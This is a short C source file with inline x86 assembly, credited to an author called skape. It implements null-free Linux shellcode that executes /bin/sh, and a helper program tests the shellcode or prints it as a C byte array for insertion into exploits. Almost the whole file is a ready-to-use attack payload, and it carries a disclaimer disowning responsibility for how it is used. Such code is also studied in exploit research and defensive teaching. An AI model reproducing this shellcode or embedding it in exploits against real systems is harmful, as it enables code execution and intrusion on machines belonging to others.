/*
 * /bin/sh shellcode for x86 linux
 *
 * Description:
 *
 * 	Executes /bin/sh
 *
 * Usage:
 *
 *    $ ./x86-shell
 *    Usage: ./x86-shell [test | cstyle]
 *
 *    To test the shellcode:
 *
 *    $ ./x86-shell test
 *    sh$
 *
 *    To generate c-styled shellcode:
 *
 *    $ ./x86-shell cstyle
 *
 * Features:
 *
 *    * No NULLs
 *
 * Disclaimer:
 *
 *    The author cannot be held responsible for how this shellcode is used.
 *
 * skape
 * mmiller@hick.org
 */
#include <stdio.h>

void shell_begin();
void shell_end();

__asm__("
shell_begin:
	push $0xb
	pop  %eax
	cdq
	push %edx                  # Null terminate our command string
	push $0x68732f2f           # //sh
	push $0x6e69622f           # /bin
	mov  %esp, %ebx            # Set our argument for command to this ptr
	push %edx                  # Push a null for our argv[1]
	push %ebx                  # Push the pointer to our string for argv[0]
	mov  %esp, %ecx            # Set the argv argument to esp
	int  $0x80                 # Interrupt

shell_end:
	int3
		");

int main(int argc, char **argv)
{
	if (argc == 1)
	{
		fprintf(stdout, "Usage: %s [test | cstyle]\n", argv[0]);

		return 0;
	}

	if (!strcmp(argv[1], "test"))
		shell_begin();
	else if (!strcmp(argv[1], "cstyle"))
	{
		unsigned char *c  = (unsigned char *)shell_begin;
		unsigned long len = (unsigned char *)shell_end - (unsigned char *)shell_begin, x;

		fprintf(stdout, "// %lu byte x86 linux shell shellcode\n\n", len);
		fprintf(stdout, "unsigned char shellcode[] = \"");

		for (x = 0;
		     x < len;
		     x++)
			fprintf(stdout, "\\x%2.2x", c[x]);

		fprintf(stdout, "\";\n\n");
	}
	else
		fprintf(stdout, "%s: invalid parameter.\n", argv[0]);

	return 0;
}
